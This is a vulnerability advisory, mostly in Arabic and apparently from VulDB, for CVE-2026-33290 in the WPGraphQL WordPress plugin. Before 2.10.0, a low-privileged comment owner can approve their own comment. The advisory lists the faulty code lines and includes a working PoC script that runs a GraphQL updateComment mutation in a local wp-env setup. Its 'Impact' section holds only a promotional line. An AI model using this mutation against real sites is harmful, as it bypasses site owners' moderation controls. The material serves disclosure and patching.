CVE-2026-33290 in wp-graphql
الملخص
بحسب VulDB • 08/06/2026
توفر مكتبة WPGraphQL واجهة برمجة تطبيقات GraphQL لمواقع WordPress. قبل الإصدار 2.10.0، كان هناك عيب في التفويض (authorization flaw) داخل دالة `updateComment` يسمح للمستخدم المصادق عليه ذي الصلاحيات المنخفضة (بما في ذلك الدور المخصص الذي لا يملك أي قدرات/صلاحيات) بتغيير حالة مراجعة التعليق الخاص به (على سبيل المثال، إلى APPROVE) دون امتلاك صلاحية moderate_comments. يمكن لهذا العيب تجاوز سير عمل المراجعة والسماح للمستخدمين غير الموثوق بهم بالموافقة على محتواهم بأنفسهم. يحتوي الإصدار 2.10.0 على تصحيح للثغرة.
### التفاصيل
في WPGraphQL الإصدار 2.9.1 (تم الاختبار عليه)، يعتمد التفويض لـ `updateComment` على ملكية التعليق وليس على مستوى الحقل:
- يسمح الملف plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 للمشرفين بالتعديل. - يسمح السطر plugins/wp-graphql/src/Mutation/CommentUpdate.php:99 للمالك نفسه بالتعديل، حتى لو كان يفتقر إلى صلاحية المراجعة. - يقوم الملف plugins/wp-graphql/src/Data/CommentMutation.php:94 بربط حالة الإدخال من GraphQL مباشرة بحقل comment_approved في ووردبريس. - يحفظ السطر plugins/wp-graphql/src/Mutation/CommentUpdate.php:120 هذه القيمة عبر دالة wp_update_comment. - يكشف الملف plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22 عن حالات المراجعة (APPROVE, HOLD, SPAM, TRASH).
هذا يعني أن مالك التعليق غير المشرف يمكنه إرسال الحالة أثناء التحديث وتغيير حالة المراجعة.
### دليل الاستغلال (PoC)
تم الاختبار في بيئة محلية باستخدام wp-env (Docker) مع WPGraphQL الإصدار 2.9.1.
1. بدء البيئة:
``` npm install npm run wp-env start ```
2. تشغيل هذا الدليل للاستغلال:
``` npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]);
$user_id = username_exists("poc_nocaps"); if ( ! $user_id ) {
$user_id = wp_create_user("poc_nocaps","Passw0rd!","[email protected]"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps");
$post_id = wp_insert_post([
"post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]);
$comment_id = wp_insert_comment([
"comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]);
wp_set_current_user($user_id);
$result = graphql([
"query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",
"variables" => [ "id" => (string)$comment_id ],
]);
echo wp_json_encode([
"role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,
"db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); ' ```
3. ملاحظة النتيجة:
- حقل role_caps فارغ (أو لا يحتوي على moderate_comments). - ترجع عملية الـ mutation الحالة: APPROVE. - تصبح قيمة قاعدة البيانات comment_approved = 1.
### الأثر
Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.